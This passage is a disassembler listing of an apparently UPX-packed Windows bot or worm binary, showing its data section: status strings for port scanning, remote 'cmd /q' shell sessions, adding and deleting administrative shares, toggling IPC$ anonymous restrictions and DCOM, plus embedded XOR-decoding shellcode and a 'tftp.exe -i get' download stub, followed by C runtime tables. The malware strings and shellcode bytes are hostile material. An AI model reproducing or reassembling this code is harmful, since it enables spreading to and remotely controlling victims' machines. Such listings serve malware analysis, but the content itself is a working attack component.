2029671Fh, 2BBBB02h aClientConnec_2 db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_437A9C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156FD+106o dd 2029671Fh, 2BBBB02h aReadyAndWaitin db ' Ready and waiting for incoming connections.',0 align 4 ; char dword_437AE8[] dword_437AE8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156FD+70o dd 2029671Fh, 2BBBB02h aFailedToInstal db ' Failed to install control-C handler, error: <%d>.',0 ; char dword_437B38[] dword_437B38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156FD+3Do dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0) aConst db 'const',0 align 10h dd 0 dword_437B84 dd 1 ; DATA XREF: sub_415CF0+7o off_437B88 dd offset sub_415985 ; DATA XREF: sub_415CF0+49r aLetter db 'letter',0 align 8 dd 2, 4159E3h, 706D6F63h, 2 dup(0) dd 3, 415A30h, 6E756F63h, 797274h, 0 dd 4, 415ACEh, 736Fh, 2 dup(0) dd 5, 415B43h ; char aSI[] aSI db '%s%i',0 ; DATA XREF: sub_415985+40o ; UPX0:00415AAFo ... align 4 byte_437BE4 db 50h ; DATA XREF: UPX0:00415A52o ; UPX0:00415A5Fr db 43h, 2 dup(0) dword_437BE8 dd 7C7325h ; DATA XREF: UPX0:00415AFDo ; sub_415CF0+39o dword_437BEC dd 5D73255Bh, 7Ch ; DATA XREF: UPX0:00415C07o dword_437BF4 dd 334B32h ; DATA XREF: UPX0:00415BF7o ; char aDS[] aDS db '[%d]%s',0 ; DATA XREF: sub_415C4D+3Ao align 10h ; char aM[] aM db '[M]',0 ; DATA XREF: sub_415C4D+2Co ; sub_415C4D+57o ; char unk_437C04 unk_437C04 db 2 ; DATA XREF: sub_415D59+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 ; char unk_437C3C unk_437C3C db 2 ; DATA XREF: sub_415E26+41o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 off_437C78 dd offset dword_437CB0 ; DATA XREF: sub_415F77+1B3o ; sub_41629B+17Ao align 10h dd offset dword_437CA8 align 8 off_437C88 dd offset dword_437CA4 ; DATA XREF: sub_41629B+1E3o dd offset dword_437CA0 dd offset dword_437C9C dd offset dword_437C98 dword_437C98 dd 5C3A44h ; DATA XREF: sub_415F77+217o ; UPX0:00437C94o dword_437C9C dd 2444h ; DATA XREF: UPX0:00437C90o dword_437CA0 dd 5C3A43h ; DATA XREF: UPX0:00437C8Co dword_437CA4 dd 2443h ; DATA XREF: UPX0:off_437C88o dword_437CA8 dd 494D4441h, 244Eh ; DATA XREF: UPX0:00437C80o dword_437CB0 dd 24435049h, 0 ; DATA XREF: UPX0:off_437C78o ; char unk_437CB8 unk_437CB8 db 2 ; DATA XREF: sub_415F77+2E5o ; sub_41629B+2D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 ; char unk_437CF8 unk_437CF8 db 2 ; DATA XREF: sub_415F77+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 10h ; char unk_437D30 unk_437D30 db 2 ; DATA XREF: sub_415F77:loc_4161D9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_437D6C db 2 ; DATA XREF: sub_415F77+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h ; char unk_437DA0 unk_437DA0 db 2 ; DATA XREF: sub_415F77:loc_416146o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_437DDC db 2 ; DATA XREF: sub_415F77+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 10h ; char unk_437E10 unk_437E10 db 2 ; DATA XREF: sub_415F77:loc_4160A9o ; sub_41629B:loc_4163C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_437E50 db 2 ; DATA XREF: sub_415F77:loc_4160A2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 ; char unk_437E9C unk_437E9C db 2 ; DATA XREF: sub_415F77:loc_416084o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 10h unk_437EE0 db 2 ; DATA XREF: sub_415F77+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F77+EDo ; sub_41629B+EDo align 10h ; char unk_437F40 unk_437F40 db 2 ; DATA XREF: sub_415F77+91o ; sub_41629B+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 10h ; char dword_437F80 dword_437F80 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F77:loc_415FE4o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_437FAC db 2 ; DATA XREF: sub_415F77+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 10h aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F77+54o ; sub_41629B+54o align 4 word_437FEC dw 4Eh ; DATA XREF: sub_415F77+38r align 10h ; char unk_437FF0 unk_437FF0 db 2 ; DATA XREF: sub_41629B+2C0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 ; char aC_1[] aC_1 db '%c:\',0 ; DATA XREF: sub_41629B+22Ao align 4 ; char aC_0[] aC_0 db '%c$',0 ; DATA XREF: sub_41629B+219o ; char unk_438030 unk_438030 db 2 ; DATA XREF: sub_41629B:loc_41643Ao ; sub_41629B:loc_416508o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_438068 db 2 ; DATA XREF: sub_41629B+198o ; sub_41629B+266o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_438098 db 2 ; DATA XREF: sub_41629B:loc_4163C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 ; char unk_4380E4 unk_4380E4 db 2 ; DATA XREF: sub_41629B:loc_4163A4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_438128 db 2 ; DATA XREF: sub_41629B+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 ; char dword_438174 dword_438174 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_41629B:loc_416308o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_4381A0 db 2 ; DATA XREF: sub_41629B+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4381D4 dw 59h ; DATA XREF: sub_41629B+38r align 4 ; char dword_4381D8[] dword_4381D8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165B2+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 ; char dword_43821C[] dword_43821C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165B2+59o ; sub_4165B2+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_438274 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416703+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 ; char dword_4382AC[] dword_4382AC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416703+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_4382FC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416703+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 ; char dword_43834C[] dword_43834C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4167FC+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4167FC+8Co align 4 ; char dword_438398[] dword_438398 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168D5+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_4383E4: ; DATA XREF: sub_416C41+C4o jmp short loc_4383E8 ; --------------------------------------------------------------------------- loc_4383E6: ; CODE XREF: UPX0:loc_4383E8p jmp short loc_4383ED ; --------------------------------------------------------------------------- loc_4383E8: ; CODE XREF: UPX0:loc_4383E4j call loc_4383E6 loc_4383ED: ; CODE XREF: UPX0:loc_4383E6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_4383F2 dw 0FFFFh ; DATA XREF: sub_416C41+CCw db 80h, 73h, 0Eh byte_4383F7 db 0FFh ; DATA XREF: sub_416C41+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4383FC: ; DATA XREF: sub_416C41+A2o jmp short loc_438400 ; --------------------------------------------------------------------------- loc_4383FE: ; CODE XREF: UPX0:loc_438400p jmp short loc_438405 ; --------------------------------------------------------------------------- loc_438400: ; CODE XREF: UPX0:loc_4383FCj call loc_4383FE loc_438405: ; CODE XREF: UPX0:loc_4383FEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_438409 db 0FFh ; DATA XREF: sub_416C41+AAw dw 7380h db 0Ch byte_43840D db 0FFh ; DATA XREF: sub_416C41+B0w dw 0E243h dd 0F9h dword_438414 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ACA+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_438478 dd 12h ; DATA XREF: sub_416ACA+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ACA+79o aJ db 'j',0 db 0E8h dword_438491 dd 17h ; DATA XREF: sub_416ACA+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_438498 retn ; --------------------------------------------------------------------------- byte_438498 db 0E8h ; CODE XREF: UPX0:00438495j dword_438499 dd 1 ; DATA XREF: sub_416ACA+45w byte_43849D db 0, 6Ah, 0 ; DATA XREF: sub_416ACA+C2o dd 7E8h db 0, 0Fh, 84h dword_4384A7 dd 0FFFFFFEDh ; DATA XREF: sub_416ACA+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; RtlGetLastWin32Error add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_416E05+10o ; char aSNoSThreadFoun[] aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FD6+51o ; char aSSStopped_DThr[] aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FD6+35o dword_438528 dd 6793h ; DATA XREF: sub_4172EE+4w _randr ... align 10h dword_438530 dd 173Fh ; DATA XREF: _floor+Dr dd 9875h, 9873h off_43853C dd offset __fpmath ; DATA XREF: __cinitr dd offset nullsub_2 dd offset nullsub_2 dword_438548 dd 1B3Fh ; DATA XREF: _ceil+Dr dword_43854C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o ; __NLG_Notify+2o off_438560 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_438564 dd 2 ; DATA XREF: __FF_MSGBANNER+Er ; __NMSG_WRITE+46r ... off_438568 dd offset aNull_2 ; DATA XREF: __output:loc_419F8Cr ; __output+457r ; "(null)" off_43856C dd offset aNull ; DATA XREF: __output+259r ; "(null)" off_438570 dd offset __wctype+2 ; DATA XREF: _atol+23r ; _atol:loc_4177E5r ... off_438574 dd offset __wctype+2 ; DATA XREF: _iswctype+18r public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r ; UPX0:off_438570o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) ; size_t SrcSizeInBytes SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_41778Cr ; _atol:loc_4177D0r ... byte_438780 db 2Eh ; DATA XREF: __forcdecpt:loc_41BE34r ; __cropzeros+4r ... align 4 dd 1, 10h dword_43878C dd 3F8h ; DATA XREF: __heap_alloc+5r ; _realloc+4Dr ... dword_438790 dd 14h ; DATA XREF: __get_fname+2o off_438794 dd offset aExp ; DATA XREF: __get_fname:loc_41BB5Ar ; "exp" dd 1Dh, 4237D4h, 1Ah, 4237D0h, 1Bh, 4237C8h, 1Fh, 4237C0h dd 13h, 4237B8h, 21h, 4237B0h, 0Eh, 4237A8h, 0Dh, 4237A0h dd 0Fh, 423798h, 10h, 423790h, 5, 423788h, 1Eh, 423784h dd 12h, 423780h, 20h, 42377Ch, 0Ch, 423774h, 0Bh, 42376Ch dd 15h, 423764h, 1Ch, 42375Ch, 19h, 423754h, 11h, 42374Ch dd 18h, 423744h, 16h, 42373Ch, 17h, 423734h, 22h, 423730h dd 23h, 42372Ch, 24h, 423728h dbl_438868 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r ; __handle_exc:loc_41B95Fr ... dd 0 dd 0FFF80000h dbl_438878 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r ; __handle_exc:loc_41B937r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_438890 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr ; __set_statfp+1Fr align 4 tbyte_43889C dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r align 4 off_4388A8 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw ; __output+3AAr off_4388AC dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w ; __output+3E2r off_4388B0 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w ; __input+430r off_4388B4 dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew ; __output+3CBr off_4388B8 dd offset __positive ; DATA XREF: __cfltcvt_init+28w off_4388BC dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h dd offset sub_41CA7C off_4388D4 dd offset sub_41CA7C ; DATA XREF: sub_41CAD2+29r dword_4388D8 dd 0D2D0920h, 5Dh ; DATA XREF: __input:loc_41D246o dword_4388E0 dd 5Dh, 0 ; DATA XREF: __input:loc_41D136o byte_4388E8 db 1 ; DATA XREF: __setmbcp+E1r db 2, 4, 8 align 10h dword_4388F0 dd 3A4h ; DATA XREF: __setmbcp+2Fo dd 82798260h, 21h, 0 ; DATA XREF: __setmbcp+11Dr dword_438900 dd 0DFA6h ; DATA XREF: __setmbcp+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4389E0 dd 1 ; DATA XREF: __setmbcp+3Co ; __dosmaperr+Co dword_4389E4 dd 16h ; DATA XREF: __dosmaperr:loc_41E4ECr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_438B48 dd 0C0000005h ; DATA XREF: __dosmaperr+19o ; _xcptlookup+Ar ... dword_438B4C dd 0Bh ; DATA XREF: _siglookup+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_438BC0 dd 3 ; DATA XREF: __XcptFilter+58r ; _raise+C8r dword_438BC4 dd 7 ; DATA XREF: __XcptFilter+5Er ; _raise+CDr dword_438BC8 dd 0Ah ; DATA XREF: _xcptlookup+4r ; _siglookup+4r dword_438BCC dd 8Ch ; DATA XREF: __XcptFilter+82r ; __XcptFilter+8Fw ... dword_438BD0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __flsbuf:loc_419BD0o ; __filbuf:loc_41D811o dword_438BD8 dd 2 ; DATA XREF: __NMSG_WRITE+Eo ; __NMSG_WRITE+28r off_438BDC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr ; __NMSG_WRITE+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 423AF4h, 9, 423AC8h, 0Ah, 423AA4h, 10h, 423A78h dd 11h, 423A48h, 12h, 423A24h, 13h, 4239F8h, 18h, 4239C0h dd 19h, 423998h, 1Ah, 423960h, 1Bh, 423928h, 1Ch, 423900h dd 78h, 4238F0h, 79h, 4238E0h, 7Ah, 4238D0h, 0FCh, 4293B0h dd 0FFh, 4238C0h off_438C68 dd offset dword_4872E0 ; DATA XREF: __NMSG_WRITE+1Bo ; ___initstdio+55o align 10h dd offset dword_4872E0 dd 101h dword_438C78 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o dd 1000h, 0 dword_438C88 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_438CA8 dd 3 dup(0) ; DATA XREF: __flsbuf+58o ; __stbuf:loc_41A6B0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_438CD8 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo dword_438EE8 dd 2694h ; DATA XREF: __handle_qnan1+3r ; __except1+46r ... align 10h dword_438EF0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41FBC2o dword_438F08 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41FBD8o dword_438F20 dd 7080h ; DATA XREF: ___loctotime_t+76r ; __tzset+5Ew ... dword_438F24 dd 1 ; DATA XREF: ___loctotime_t+98r ; __tzset+8Bw ... dword_438F28 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t:loc_41CC03r ; __tzset+94w ... off_438F2C dd offset dword_545350 ; DATA XREF: UPX0:off_438FACo dd 0Fh dup(0) off_438F6C dd offset dword_544450 ; DATA XREF: UPX0:off_438FB0o dd 0Fh dup(0) ; char *off_438FAC off_438FAC dd offset off_438F2C ; DATA XREF: __tzset+BAr __tzset+D9r ... ; char *off_438FB0 off_438FB0 dd offset off_438F6C ; DATA XREF: __tzset+F4r __tzset+11Br ... align 8 dword_438FB8 dd 0FFFFFFFFh ; DATA XREF: __tzset+1Dw __isindst+1Er ... dword_438FBC dd 0 ; DATA XREF: __isindst:loc_420254r ; _cvtdate+BFw dword_438FC0 dd 0 ; DATA XREF: __isindst+192r ; _cvtdate+E0w align 8 dword_438FC8 dd 0FFFFFFFFh ; DATA XREF: __tzset+17w __isindst+26r ... dword_438FCC dd 0 ; DATA XREF: __isindst+13Ar ; _cvtdate+EAw ... dword_438FD0 dd 0 ; DATA XREF: __isindst+1A1r ; _cvtdate+23r ... dword_438FD4 dd 0FFFFFFFFh ; DATA XREF: _cvtdate+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_439004 dd 16Dh ; DATA XREF: ___loctotime_t+2Ar ; _cvtdate+2Er ... dword_439008 dd 0FFFFFFFFh ; DATA XREF: _cvtdate:loc_420358r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_439040 dd 2 dup(0) ; DATA XREF: ___multtenpow12+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4391A0 dd 0CCCDCCCDh, 0CCCCCCCCh, 